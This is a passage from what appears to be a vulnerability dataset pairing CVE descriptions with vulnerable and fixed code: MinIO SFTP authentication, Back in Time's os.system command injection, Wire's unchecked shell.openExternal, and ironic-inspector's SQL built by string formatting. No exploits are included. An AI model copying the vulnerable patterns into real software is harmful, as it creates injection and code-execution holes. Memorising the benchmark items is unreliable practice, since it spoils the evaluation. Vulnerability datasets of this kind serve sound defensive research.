"4c71f1b4ec0fb2a473ddaac18c20ec9e63f267ec", "file_path": "cmd/sftp-server.go", "start_line": 193, "end_line": 320, "snippet": "func processLDAPAuthentication(key ssh.PublicKey, pass []byte, user string) (perms *ssh.Permissions, err error) {\n\tvar lookupResult *xldap.DNSearchResult\n\tvar targetGroups []string\n\n\tif pass == nil && key == nil {\n\t\treturn nil, errAuthentication\n\t}\n\n\tif pass != nil {\n\t\tsa, _, err := globalIAMSys.getServiceAccount(context.Background(), user)\n\t\tif err == nil {\n\t\t\tif subtle.ConstantTimeCompare([]byte(sa.Credentials.SecretKey), pass) != 1 {\n\t\t\t\treturn nil, errAuthentication\n\t\t\t}\n\n\t\t\treturn &ssh.Permissions{\n\t\t\t\tCriticalOptions: map[string]string{\n\t\t\t\t\t\"AccessKey\": sa.Credentials.AccessKey,\n\t\t\t\t\t\"SecretKey\": sa.Credentials.SecretKey,\n\t\t\t\t},\n\t\t\t\tExtensions: make(map[string]string),\n\t\t\t}, nil\n\t\t}\n\n\t\tif !errors.Is(err, errNoSuchServiceAccount) {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tlookupResult, targetGroups, err = globalIAMSys.LDAPConfig.Bind(user, string(pass))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else if key != nil {\n\t\tlookupResult, targetGroups, err = globalIAMSys.LDAPConfig.LookupUserDN(user)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif lookupResult == nil {\n\t\treturn nil, errNoSuchUser\n\t}\n\n\tldapPolicies, _ := globalIAMSys.PolicyDBGet(lookupResult.NormDN, targetGroups...)\n\tif len(ldapPolicies) == 0 {\n\t\treturn nil, errSFTPUserHasNoPolicies\n\t}\n\n\tclaims := make(map[string]interface{})\n\tfor attribKey, attribValue := range lookupResult.Attributes {\n\t\t// we skip multi-value attributes here, as they cannot\n\t\t// be stored in the critical options.\n\t\tif len(attribValue) != 1 {\n\t\t\tcontinue\n\t\t}\n\n\t\tif attribKey == \"sshPublicKey\" && key != nil {\n\t\t\tkey2, _, _, _, err := ssh.ParseAuthorizedKey([]byte(attribValue[0]))\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errSFTPPublicKeyBadFormat\n\t\t\t}\n\n\t\t\tif subtle.ConstantTimeCompare(key2.Marshal(), key.Marshal()) != 1 {\n\t\t\t\treturn nil, errAuthentication\n\t\t\t}\n\t\t}\n\t\t// Save each attribute to claims.\n\t\tclaims[ldapAttribPrefix+attribKey] = attribValue[0]\n\t}\n\n\tif key != nil {\n\t\t// If a key was provided, we expect the user to have an sshPublicKey\n\t\t// attribute.\n\t\tif _, ok := claims[ldapAttribPrefix+\"sshPublicKey\"]; !ok {\n\t\t\treturn nil, errAuthentication\n\t\t}\n\t}\n\n\texpiryDur, err := globalIAMSys.LDAPConfig.GetExpiryDuration(\"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tclaims[expClaim] = UTCNow().Add(expiryDur).Unix()\n\tclaims[ldapUserN] = user\n\tclaims[ldapUser] = lookupResult.NormDN\n\n\tcred, err := auth.GetNewCredentialsWithMetadata(claims, globalActiveCred.SecretKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Set the parent of the temporary access key, this is useful\n\t// in obtaining service accounts by this cred.\n\tcred.ParentUser = lookupResult.NormDN\n\n\t// Set this value to LDAP groups, LDAP user can be part\n\t// of large number of groups\n\tcred.Groups = targetGroups\n\n\t// Set the newly generated credentials, policyName is empty on purpose\n\t// LDAP policies are applied automatically using their ldapUser, ldapGroups\n\t// mapping.\n\tupdatedAt, err := globalIAMSys.SetTempUser(context.Background(), cred.AccessKey, cred, \"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treplLogIf(context.Background(), globalSiteReplicationSys.IAMChangeHook(context.Background(), madmin.SRIAMItem{\n\t\tType: madmin.SRIAMItemSTSAcc,\n\t\tSTSCredential: &madmin.SRSTSCredential{\n\t\t\tAccessKey:    cred.AccessKey,\n\t\t\tSecretKey:    cred.SecretKey,\n\t\t\tSessionToken: cred.SessionToken,\n\t\t\tParentUser:   cred.ParentUser,\n\t\t},\n\t\tUpdatedAt: updatedAt,\n\t}))\n\n\treturn &ssh.Permissions{\n\t\tCriticalOptions: map[string]string{\n\t\t\t\"AccessKey\":    cred.AccessKey,\n\t\t\t\"SecretKey\":    cred.SecretKey,\n\t\t\t\"SessionToken\": cred.SessionToken,\n\t\t},\n\t\tExtensions: make(map[string]string),\n\t}, nil\n}"}, {"id": "fix_go_239_4", "commit": "4c71f1b4ec0fb2a473ddaac18c20ec9e63f267ec", "file_path": "cmd/sftp-server.go", "start_line": 322, "end_line": 348, "snippet": "func validateClientKeyIsTrusted(c ssh.ConnMetadata, clientKey ssh.PublicKey) (err error) {\n\tif globalSFTPTrustedCAPubkey == nil {\n\t\treturn errors.New(\"public key authority validation requested but no ca public key specified.\")\n\t}\n\n\tcert, ok := clientKey.(*ssh.Certificate)\n\tif !ok {\n\t\treturn errSftpPublicKeyWithoutCert\n\t}\n\n\t// ssh.CheckCert called by ssh.Authenticate accepts certificates\n\t// with empty principles list so we block those in here.\n\tif len(cert.ValidPrincipals) == 0 {\n\t\treturn errSftpCertWithoutPrincipals\n\t}\n\n\t// Verify that certificate provided by user is issued by trusted CA,\n\t// username in authentication request matches to identities in certificate\n\t// and that certificate type is correct.\n\tchecker := ssh.CertChecker{}\n\tchecker.IsUserAuthority = func(k ssh.PublicKey) bool {\n\t\treturn subtle.ConstantTimeCompare(globalSFTPTrustedCAPubkey.Marshal(), k.Marshal()) == 1\n\t}\n\n\t_, err = checker.Authenticate(c, clientKey)\n\treturn\n}"}, {"id": "fix_go_239_5", "commit": "4c71f1b4ec0fb2a473ddaac18c20ec9e63f267ec", "file_path": "cmd/sftp-server.go", "start_line": 394, "end_line": 523, "snippet": "func startSFTPServer(args []string) {\n\tvar (\n\t\tport            int\n\t\tpublicIP        string\n\t\tsshPrivateKey   string\n\t\tuserCaKeyFile   string\n\t\tdisablePassAuth bool\n\t)\n\n\tallowPubKeys := supportedPubKeyAuthAlgos\n\tallowKexAlgos := preferredKexAlgos\n\tallowCiphers := preferredCiphers\n\tallowMACs := supportedMACs\n\tvar err error\n\n\tfor _, arg := range args {\n\t\ttokens := strings.SplitN(arg, \"=\", 2)\n\t\tif len(tokens) != 2 {\n\t\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed to --sftp=%s\", arg), \"unable to start SFTP server\")\n\t\t}\n\t\tswitch tokens[0] {\n\t\tcase \"address\":\n\t\t\thost, portStr, err := net.SplitHostPort(tokens[1])\n\t\t\tif err != nil {\n\t\t\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed to --sftp=%s (%v)\", arg, err), \"unable to start SFTP server\")\n\t\t\t}\n\t\t\tport, err = strconv.Atoi(portStr)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed to --sftp=%s (%v)\", arg, err), \"unable to start SFTP server\")\n\t\t\t}\n\t\t\tif port < 1 || port > 65535 {\n\t\t\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed to --sftp=%s, (port number must be between 1 to 65535)\", arg), \"unable to start SFTP server\")\n\t\t\t}\n\t\t\tpublicIP = host\n\t\tcase \"ssh-private-key\":\n\t\t\tsshPrivateKey = tokens[1]\n\t\tcase \"pub-key-algos\":\n\t\t\tallowPubKeys = filterAlgos(arg, strings.Split(tokens[1], \",\"), supportedPubKeyAuthAlgos)\n\t\tcase \"kex-algos\":\n\t\t\tallowKexAlgos = filterAlgos(arg, strings.Split(tokens[1], \",\"), supportedKexAlgos)\n\t\tcase \"cipher-algos\":\n\t\t\tallowCiphers = filterAlgos(arg, strings.Split(tokens[1], \",\"), supportedCiphers)\n\t\tcase \"mac-algos\":\n\t\t\tallowMACs = filterAlgos(arg, strings.Split(tokens[1], \",\"), supportedMACs)\n\t\tcase \"trusted-user-ca-key\":\n\t\t\tuserCaKeyFile = tokens[1]\n\t\tcase \"disable-password-auth\":\n\t\t\tdisablePassAuth, _ = strconv.ParseBool(tokens[1])\n\t\t}\n\t}\n\n\tif port == 0 {\n\t\tport = 8022 // Default SFTP port, since no port was given.\n\t}\n\n\tif sshPrivateKey == \"\" {\n\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed, private key file is mandatory for --sftp='ssh-private-key=path/to/id_ecdsa'\"), \"unable to start SFTP server\")\n\t}\n\n\tprivateBytes, err := os.ReadFile(sshPrivateKey)\n\tif err != nil {\n\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed, private key file is not accessible: %v\", err), \"unable to start SFTP server\")\n\t}\n\n\tprivate, err := ssh.ParsePrivateKey(privateBytes)\n\tif err != nil {\n\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed, private key file is not parseable: %v\", err), \"unable to start SFTP server\")\n\t}\n\n\tif userCaKeyFile != \"\" {\n\t\tkeyBytes, err := os.ReadFile(userCaKeyFile)\n\t\tif err != nil {\n\t\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed, trusted user certificate authority public key file is not accessible: %v\", err), \"unable to start SFTP server\")\n\t\t}\n\n\t\tglobalSFTPTrustedCAPubkey, _, _, _, err = ssh.ParseAuthorizedKey(keyBytes)\n\t\tif err != nil {\n\t\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed, trusted user certificate authority public key file is not parseable: %v\", err), \"unable to start SFTP server\")\n\t\t}\n\t}\n\n\t// An SSH server is represented by a ServerConfig, which holds\n\t// certificate details and handles authentication of ServerConns.\n\tsshConfig := &ssh.ServerConfig{\n\t\tConfig: ssh.Config{\n\t\t\tKeyExchanges: allowKexAlgos,\n\t\t\tCiphers:      allowCiphers,\n\t\t\tMACs:         allowMACs,\n\t\t},\n\t\tPublicKeyAuthAlgorithms: allowPubKeys,\n\t\tPublicKeyCallback:       sshPubKeyAuth,\n\t}\n\n\tif !disablePassAuth {\n\t\tsshConfig.PasswordCallback = sshPasswordAuth\n\t} else {\n\t\tsshConfig.PasswordCallback = nil\n\t}\n\n\tsshConfig.AddHostKey(private)\n\n\thandleSFTPSession := func(channel ssh.Channel, sconn *ssh.ServerConn) {\n\t\tvar remoteIP string\n\n\t\tif host, _, err := net.SplitHostPort(sconn.RemoteAddr().String()); err == nil {\n\t\t\tremoteIP = host\n\t\t}\n\t\tserver := sftp.NewRequestServer(channel, NewSFTPDriver(sconn.Permissions, remoteIP), sftp.WithRSAllocator())\n\t\tdefer server.Close()\n\t\tserver.Serve()\n\t}\n\n\tsftpServer, err := xsftp.NewServer(&xsftp.Options{\n\t\tPublicIP: publicIP,\n\t\tPort:     port,\n\t\t// OpensSSH default handshake timeout is 2 minutes.\n\t\tSSHHandshakeDeadline: 2 * time.Minute,\n\t\tLogger:               new(sftpLogger),\n\t\tSSHConfig:            sshConfig,\n\t\tHandleSFTPSession:    handleSFTPSession,\n\t})\n\tif err != nil {\n\t\tlogger.Fatal(err, \"Unable to start SFTP Server\")\n\t}\n\n\terr = sftpServer.Listen()\n\tif err != nil {\n\t\tlogger.Fatal(err, \"SFTP Server had an unrecoverable error while accepting connections\")\n\t}\n}"}], "vul_patch": "--- a/cmd/sftp-server.go\n+++ b/cmd/sftp-server.go\n@@ -1 +1 @@\n-var caPublicKey ssh.PublicKey\n+var globalSFTPTrustedCAPubkey ssh.PublicKey\n\n--- a/cmd/sftp-server.go\n+++ b/cmd/sftp-server.go\n@@ -25,8 +25,8 @@\n \t\treturn nil, errNoSuchUser\n \t}\n \n-\tif caPublicKey != nil && pass == nil {\n-\t\terr := validateKey(c, key)\n+\tif globalSFTPTrustedCAPubkey != nil && pass == nil {\n+\t\terr := validateClientKeyIsTrusted(c, key)\n \t\tif err != nil {\n \t\t\treturn nil, errAuthentication\n \t\t}\n\n--- a/cmd/sftp-server.go\n+++ b/cmd/sftp-server.go\n@@ -64,7 +64,16 @@\n \t\t\t\treturn nil, errAuthentication\n \t\t\t}\n \t\t}\n+\t\t// Save each attribute to claims.\n \t\tclaims[ldapAttribPrefix+attribKey] = attribValue[0]\n+\t}\n+\n+\tif key != nil {\n+\t\t// If a key was provided, we expect the user to have an sshPublicKey\n+\t\t// attribute.\n+\t\tif _, ok := claims[ldapAttribPrefix+\"sshPublicKey\"]; !ok {\n+\t\t\treturn nil, errAuthentication\n+\t\t}\n \t}\n \n \texpiryDur, err := globalIAMSys.LDAPConfig.GetExpiryDuration(\"\")\n\n--- a/cmd/sftp-server.go\n+++ b/cmd/sftp-server.go\n@@ -1,5 +1,5 @@\n-func validateKey(c ssh.ConnMetadata, clientKey ssh.PublicKey) (err error) {\n-\tif caPublicKey == nil {\n+func validateClientKeyIsTrusted(c ssh.ConnMetadata, clientKey ssh.PublicKey) (err error) {\n+\tif globalSFTPTrustedCAPubkey == nil {\n \t\treturn errors.New(\"public key authority validation requested but no ca public key specified.\")\n \t}\n \n@@ -19,7 +19,7 @@\n \t// and that certificate type is correct.\n \tchecker := ssh.CertChecker{}\n \tchecker.IsUserAuthority = func(k ssh.PublicKey) bool {\n-\t\treturn subtle.ConstantTimeCompare(caPublicKey.Marshal(), k.Marshal()) == 1\n+\t\treturn subtle.ConstantTimeCompare(globalSFTPTrustedCAPubkey.Marshal(), k.Marshal()) == 1\n \t}\n \n \t_, err = checker.Authenticate(c, clientKey)\n\n--- a/cmd/sftp-server.go\n+++ b/cmd/sftp-server.go\n@@ -44,7 +44,7 @@\n \t\t\tallowMACs = filterAlgos(arg, strings.Split(tokens[1], \",\"), supportedMACs)\n \t\tcase \"trusted-user-ca-key\":\n \t\t\tuserCaKeyFile = tokens[1]\n-\t\tcase \"password-auth\":\n+\t\tcase \"disable-password-auth\":\n \t\t\tdisablePassAuth, _ = strconv.ParseBool(tokens[1])\n \t\t}\n \t}\n@@ -73,7 +73,7 @@\n \t\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed, trusted user certificate authority public key file is not accessible: %v\", err), \"unable to start SFTP server\")\n \t\t}\n \n-\t\tcaPublicKey, _, _, _, err = ssh.ParseAuthorizedKey(keyBytes)\n+\t\tglobalSFTPTrustedCAPubkey, _, _, _, err = ssh.ParseAuthorizedKey(keyBytes)\n \t\tif err != nil {\n \t\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed, trusted user certificate authority public key file is not parseable: %v\", err), \"unable to start SFTP server\")\n \t\t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-16667", "cve_description": "backintime (aka Back in Time) before 1.1.24 did improper escaping/quoting of file paths used as arguments to the 'notify-send' command, leading to some parts of file paths being executed as shell commands within an os.system call in qt4/plugins/notifyplugin.py. This could allow an attacker to craft an unreadable file with a specific name to run arbitrary shell commands.", "cwe_info": {"CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/bit-team/backintime", "patch_url": ["https://github.com/bit-team/backintime/commit/cef81d0da93ff601252607df3db1a48f7f6f01b3"], "programing_language": "Python", "vul_func": [{"id": "vul_py_374_1", "commit": "c36d3682c40cf29713bee9a1a8735574d4e032e2", "file_path": "qt4/plugins/notifyplugin.py", "start_line": 65, "end_line": 78, "snippet": "    def on_message( self, profile_id, profile_name, level, message, timeout ):\n        if 1 == level:\n            cmd = \"notify-send \"\n            if timeout > 0:\n                cmd = cmd + \" -t %s\" % (1000 * timeout)\n\n            title = \"Back In Time (%s) : %s\" % (self.user, profile_name)\n            message = message.replace(\"\\n\", ' ')\n            message = message.replace(\"\\r\", '')\n\n            cmd = cmd + \" \\\"%s\\\" \\\"%s\\\"\" % (title, message)\n            print(cmd)\n            os.system(cmd)\n        return"}], "fix_func": [{"id": "fix_py_374_1", "commit": "cef81d0da93ff601252607df3db1a48f7f6f01b3", "file_path": "qt4/plugins/notifyplugin.py", "start_line": 66, "end_line": 79, "snippet": "    def on_message( self, profile_id, profile_name, level, message, timeout ):\n        if 1 == level:\n            cmd = ['notify-send']\n            if timeout > 0:\n                cmd.extend(['-t', str(1000 * timeout)])\n\n            title = \"Back In Time (%s) : %s\" % (self.user, profile_name)\n            message = message.replace(\"\\n\", ' ')\n            message = message.replace(\"\\r\", '')\n\n            cmd.append(title)\n            cmd.append(message)\n            subprocess.Popen(cmd).communicate()\n        return"}], "vul_patch": "--- a/qt4/plugins/notifyplugin.py\n+++ b/qt4/plugins/notifyplugin.py\n@@ -1,14 +1,14 @@\n     def on_message( self, profile_id, profile_name, level, message, timeout ):\n         if 1 == level:\n-            cmd = \"notify-send \"\n+            cmd = ['notify-send']\n             if timeout > 0:\n-                cmd = cmd + \" -t %s\" % (1000 * timeout)\n+                cmd.extend(['-t', str(1000 * timeout)])\n \n             title = \"Back In Time (%s) : %s\" % (self.user, profile_name)\n             message = message.replace(\"\\n\", ' ')\n             message = message.replace(\"\\r\", '')\n \n-            cmd = cmd + \" \\\"%s\\\" \\\"%s\\\"\" % (title, message)\n-            print(cmd)\n-            os.system(cmd)\n+            cmd.append(title)\n+            cmd.append(message)\n+            subprocess.Popen(cmd).communicate()\n         return\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-15258", "cve_description": "In Wire before 3.20.x, `shell.openExternal` was used without checking the URL. This vulnerability allows an attacker to execute code on the victims machine by sending messages containing links with arbitrary protocols. The victim has to interact with the link and sees the URL that is opened. The issue was patched by implementing a helper function which checks if the URL's protocol is common. If it is common, the URL will be opened externally. If not, the URL will not be opened and a warning appears for the user informing them that a probably insecure URL was blocked from being executed. The issue is patched in Wire 3.20.x. More technical details about exploitation are available in the linked advisory.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/wireapp/wire-desktop", "patch_url": ["https://github.com/wireapp/wire-desktop/commit/b3705fffa75a03f055530f55a754face5ac0623b"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_192_1", "commit": "86f7820", "file_path": "electron/src/window/AboutWindow.ts", "start_line": 87, "end_line": 100, "snippet": "    aboutWindow.webContents.session.webRequest.onBeforeRequest(async ({url}, callback) => {\n      // Only allow those URLs to be opened within the window\n      if (ABOUT_WINDOW_ALLOWLIST.includes(url)) {\n        return callback({cancel: false});\n      }\n\n      // Open HTTPS links in browser instead\n      if (url.startsWith('https://')) {\n        await shell.openExternal(url);\n      } else {\n        logger.info(`Attempt to open URL \"${url}\" in window prevented.`);\n        callback({redirectURL: ABOUT_HTML});\n      }\n    });"}, {"id": "vul_js_192_2", "commit": "86f7820", "file_path": "electron/src/main.ts", "start_line": 258, "end_line": 268, "snippet": "  main.webContents.on('new-window', async (event, url) => {\n    event.preventDefault();\n\n    // Ensure the link does not come from a webview\n    if (typeof (event as any).sender.viewInstanceId !== 'undefined') {\n      logger.log('New window was created from a webview, aborting.');\n      return;\n    }\n\n    await shell.openExternal(url);\n  });"}, {"id": "vul_js_192_3", "commit": "86f7820", "file_path": "electron/src/main.ts", "start_line": 495, "end_line": 511, "snippet": "  webviewProtection(): void {\n    const openLinkInNewWindow = (\n      event: ElectronEvent,\n      url: string,\n      frameName: string,\n      _disposition: string,\n      options: BrowserWindowConstructorOptions,\n    ): Promise<void> => {\n      event.preventDefault();\n\n      if (SingleSignOn.isSingleSignOnLoginWindow(frameName)) {\n        return new SingleSignOn(main, event, url, options).init();\n      }\n\n      this.logger.log('Opening an external window from a webview.');\n      return shell.openExternal(url);\n    };"}, {"id": "vul_js_192_4", "commit": "86f7820", "file_path": "electron/src/menu/system.ts", "start_line": 249, "end_line": 275, "snippet": "const helpTemplate: MenuItemConstructorOptions = {\n  label: `&${locale.getText('menuHelp')}`,\n  role: 'help',\n  submenu: [\n    {\n      click: () => shell.openExternal(config.legalUrl),\n      label: locale.getText('menuLegal'),\n    },\n    {\n      click: () => shell.openExternal(config.privacyUrl),\n      label: locale.getText('menuPrivacy'),\n    },\n    {\n      click: () => shell.openExternal(config.licensesUrl),\n      label: locale.getText('menuLicense'),\n    },\n    {\n      click: () => shell.openExternal(config.supportUrl),\n      label: locale.getText('menuSupport'),\n    },\n    {\n      click: () => shell.openExternal(EnvironmentUtil.web.getWebsiteUrl()),\n      label: locale.getText('menuAppURL'),\n    },\n    downloadLogsTemplate,\n  ],\n};"}], "fix_func": [{"id": "fix_js_192_1", "commit": "b3705ff", "file_path": "electron/src/window/AboutWindow.ts", "start_line": 88, "end_line": 106, "snippet": "    aboutWindow.webContents.session.webRequest.onBeforeRequest(async ({url}, callback) => {\n      // Only allow those URLs to be opened within the window\n      if (ABOUT_WINDOW_ALLOWLIST.includes(url)) {\n        return callback({cancel: false});\n      }\n    });\n\n    // Handle the new window event in the About Window\n    aboutWindow.webContents.on('new-window', (event, url) => {\n      event.preventDefault();\n\n      // Ensure the link does not come from a webview\n      if (typeof (event as any).sender.viewInstanceId !== 'undefined') {\n        logger.log('New window was created from a webview, aborting.');\n        return;\n      }\n\n      return WindowUtil.openExternal(url, true);\n    });"}, {"id": "fix_js_192_2", "commit": "b3705ff", "file_path": "electron/src/main.ts", "start_line": 257, "end_line": 264, "snippet": "  main.webContents.on('new-window', async (event, url) => {\n    event.preventDefault();\n\n    // Ensure the link does not come from a webview\n    if (typeof (event as any).sender.viewInstanceId !== 'undefined') {\n      logger.log('New window was created from a webview, aborting.');\n      return;\n    }"}, {"id": "fix_js_192_3", "commit": "b3705ff", "file_path": "electron/src/main.ts", "start_line": 494, "end_line": 510, "snippet": "  webviewProtection(): void {\n    const openLinkInNewWindow = (\n      event: ElectronEvent,\n      url: string,\n      frameName: string,\n      _disposition: string,\n      options: BrowserWindowConstructorOptions,\n    ): Promise<void> => {\n      event.preventDefault();\n\n      if (SingleSignOn.isSingleSignOnLoginWindow(frameName)) {\n        return new SingleSignOn(main, event, url, options).init();\n      }\n\n      this.logger.log('Opening an external window from a webview.');\n      return WindowUtil.openExternal(url);\n    };"}, {"id": "fix_js_192_4", "commit": "b3705ff", "file_path": "electron/src/menu/system.ts", "start_line": 250, "end_line": 276, "snippet": "const helpTemplate: MenuItemConstructorOptions = {\n  label: `&${locale.getText('menuHelp')}`,\n  role: 'help',\n  submenu: [\n    {\n      click: () => WindowUtil.openExternal(config.legalUrl, true),\n      label: locale.getText('menuLegal'),\n    },\n    {\n      click: () => WindowUtil.openExternal(config.privacyUrl, true),\n      label: locale.getText('menuPrivacy'),\n    },\n    {\n      click: () => WindowUtil.openExternal(config.licensesUrl, true),\n      label: locale.getText('menuLicense'),\n    },\n    {\n      click: () => WindowUtil.openExternal(config.supportUrl, true),\n      label: locale.getText('menuSupport'),\n    },\n    {\n      click: () => WindowUtil.openExternal(EnvironmentUtil.web.getWebsiteUrl(), true),\n      label: locale.getText('menuAppURL'),\n    },\n    downloadLogsTemplate,\n  ],\n};"}, {"id": "fix_js_192_5", "commit": "b3705ff", "file_path": "electron/src/window/WindowUtil.ts", "start_line": 57, "end_line": 76, "snippet": "export const openExternal = async (url: string, httpsOnly: boolean = false): Promise<void> => {\n  try {\n    const urlProtocol = URL.parse(url).protocol || '';\n    const allowedProtocols = ['https:'];\n\n    if (!httpsOnly) {\n      allowedProtocols.push('ftp:', 'http:', 'mailto:');\n    }\n\n    if (!allowedProtocols.includes(urlProtocol)) {\n      logger.warn(`Prevented opening external URL \"${url}\".`);\n      showWarningDialog(`Prevented opening external URL \"${url}\".`);\n      return;\n    }\n\n    await shell.openExternal(url);\n  } catch (error) {\n    logger.error(error);\n  }\n};"}], "vul_patch": "--- a/electron/src/window/AboutWindow.ts\n+++ b/electron/src/window/AboutWindow.ts\n@@ -3,12 +3,17 @@\n       if (ABOUT_WINDOW_ALLOWLIST.includes(url)) {\n         return callback({cancel: false});\n       }\n+    });\n \n-      // Open HTTPS links in browser instead\n-      if (url.startsWith('https://')) {\n-        await shell.openExternal(url);\n-      } else {\n-        logger.info(`Attempt to open URL \"${url}\" in window prevented.`);\n-        callback({redirectURL: ABOUT_HTML});\n+    // Handle the new window event in the About Window\n+    aboutWindow.webContents.on('new-window', (event, url) => {\n+      event.preventDefault();\n+\n+      // Ensure the link does not come from a webview\n+      if (typeof (event as any).sender.viewInstanceId !== 'undefined') {\n+        logger.log('New window was created from a webview, aborting.');\n+        return;\n       }\n+\n+      return WindowUtil.openExternal(url, true);\n     });\n\n--- a/electron/src/main.ts\n+++ b/electron/src/main.ts\n@@ -6,6 +6,3 @@\n       logger.log('New window was created from a webview, aborting.');\n       return;\n     }\n-\n-    await shell.openExternal(url);\n-  });\n\n--- a/electron/src/main.ts\n+++ b/electron/src/main.ts\n@@ -13,5 +13,5 @@\n       }\n \n       this.logger.log('Opening an external window from a webview.');\n-      return shell.openExternal(url);\n+      return WindowUtil.openExternal(url);\n     };\n\n--- a/electron/src/menu/system.ts\n+++ b/electron/src/menu/system.ts\n@@ -3,23 +3,23 @@\n   role: 'help',\n   submenu: [\n     {\n-      click: () => shell.openExternal(config.legalUrl),\n+      click: () => WindowUtil.openExternal(config.legalUrl, true),\n       label: locale.getText('menuLegal'),\n     },\n     {\n-      click: () => shell.openExternal(config.privacyUrl),\n+      click: () => WindowUtil.openExternal(config.privacyUrl, true),\n       label: locale.getText('menuPrivacy'),\n     },\n     {\n-      click: () => shell.openExternal(config.licensesUrl),\n+      click: () => WindowUtil.openExternal(config.licensesUrl, true),\n       label: locale.getText('menuLicense'),\n     },\n     {\n-      click: () => shell.openExternal(config.supportUrl),\n+      click: () => WindowUtil.openExternal(config.supportUrl, true),\n       label: locale.getText('menuSupport'),\n     },\n     {\n-      click: () => shell.openExternal(EnvironmentUtil.web.getWebsiteUrl()),\n+      click: () => WindowUtil.openExternal(EnvironmentUtil.web.getWebsiteUrl(), true),\n       label: locale.getText('menuAppURL'),\n     },\n     downloadLogsTemplate,\n\n--- /dev/null\n+++ b/electron/src/menu/system.ts\n@@ -0,0 +1,20 @@\n+export const openExternal = async (url: string, httpsOnly: boolean = false): Promise<void> => {\n+  try {\n+    const urlProtocol = URL.parse(url).protocol || '';\n+    const allowedProtocols = ['https:'];\n+\n+    if (!httpsOnly) {\n+      allowedProtocols.push('ftp:', 'http:', 'mailto:');\n+    }\n+\n+    if (!allowedProtocols.includes(urlProtocol)) {\n+      logger.warn(`Prevented opening external URL \"${url}\".`);\n+      showWarningDialog(`Prevented opening external URL \"${url}\".`);\n+      return;\n+    }\n+\n+    await shell.openExternal(url);\n+  } catch (error) {\n+    logger.error(error);\n+  }\n+};\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-10141", "cve_description": "A vulnerability was found in openstack-ironic-inspector all versions excluding 5.0.2, 6.0.3, 7.2.4, 8.0.3 and 8.2.1. A SQL-injection vulnerability was found in openstack-ironic-inspector's node_cache.find_node(). This function makes a SQL query using unfiltered data from a server reporting inspection results (by a POST to the /v1/continue endpoint). Because the API is unauthenticated, the flaw could be exploited by an attacker with access to the network on which ironic-inspector is listening. Because of how ironic-inspector uses the query results, it is unlikely that data could be obtained. However, the attacker could pass malicious data and create a denial of service.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/openstack/ironic-inspector", "patch_url": ["https://github.com/openstack/ironic-inspector/commit/9d107900b2e0b599397b84409580d46e0ed16291", "https://github.com/openstack/ironic-inspector/commit/97f9d34f8376ac7accd2597b3bdce67a9dac664f", "https://github.com/openstack/ironic-inspector/commit/17c796b49171b6133e988f78c92d7c9b7ed3fcf3", "https://github.com/openstack/ironic-inspector/commit/67ff87ebca1016d44bd9d284ec4c16a88a533cfc"], "programing_language": "Python", "vul_func": [{"id": "vul_py_134_1", "commit": "b8d1bda", "file_path": "ironic_inspector/node_cache.py", "start_line": 819, "end_line": 894, "snippet": "def find_node(**attributes):\n    \"\"\"Find node in cache.\n\n    Looks up a node based on attributes in a best-match fashion.\n    This function acquires a lock on a node.\n\n    :param attributes: attributes known about this node (like macs, BMC etc)\n                       also ironic client instance may be passed under 'ironic'\n    :returns: structure NodeInfo with attributes ``uuid`` and ``created_at``\n    :raises: Error if node is not found or multiple nodes match the attributes\n    \"\"\"\n    ironic = attributes.pop('ironic', None)\n    # NOTE(dtantsur): sorting is not required, but gives us predictability\n    found = collections.Counter()\n\n    for (name, value) in sorted(attributes.items()):\n        if not value:\n            LOG.debug('Empty value for attribute %s', name)\n            continue\n        if not isinstance(value, list):\n            value = [value]\n\n        LOG.debug('Trying to use %s of value %s for node look up',\n                  name, value)\n        value_list = []\n        for v in value:\n            value_list.append(\"name='%s' AND value='%s'\" % (name, v))\n        stmt = ('select distinct node_uuid from attributes where ' +\n                ' OR '.join(value_list))\n        rows = (db.model_query(db.Attribute.node_uuid).from_statement(\n            text(stmt)).all())\n        found.update(row.node_uuid for row in rows)\n\n    if not found:\n        raise utils.NotFoundInCacheError(_(\n            'Could not find a node for attributes %s') % attributes)\n\n    most_common = found.most_common()\n    LOG.debug('The following nodes match the attributes: %(attributes)s, '\n              'scoring: %(most_common)s',\n              {'most_common': ', '.join('%s: %d' % tpl for tpl in most_common),\n               'attributes': ', '.join('%s=%s' % tpl for tpl in\n                                       attributes.items())})\n\n    # NOTE(milan) most_common is sorted, higher scores first\n    highest_score = 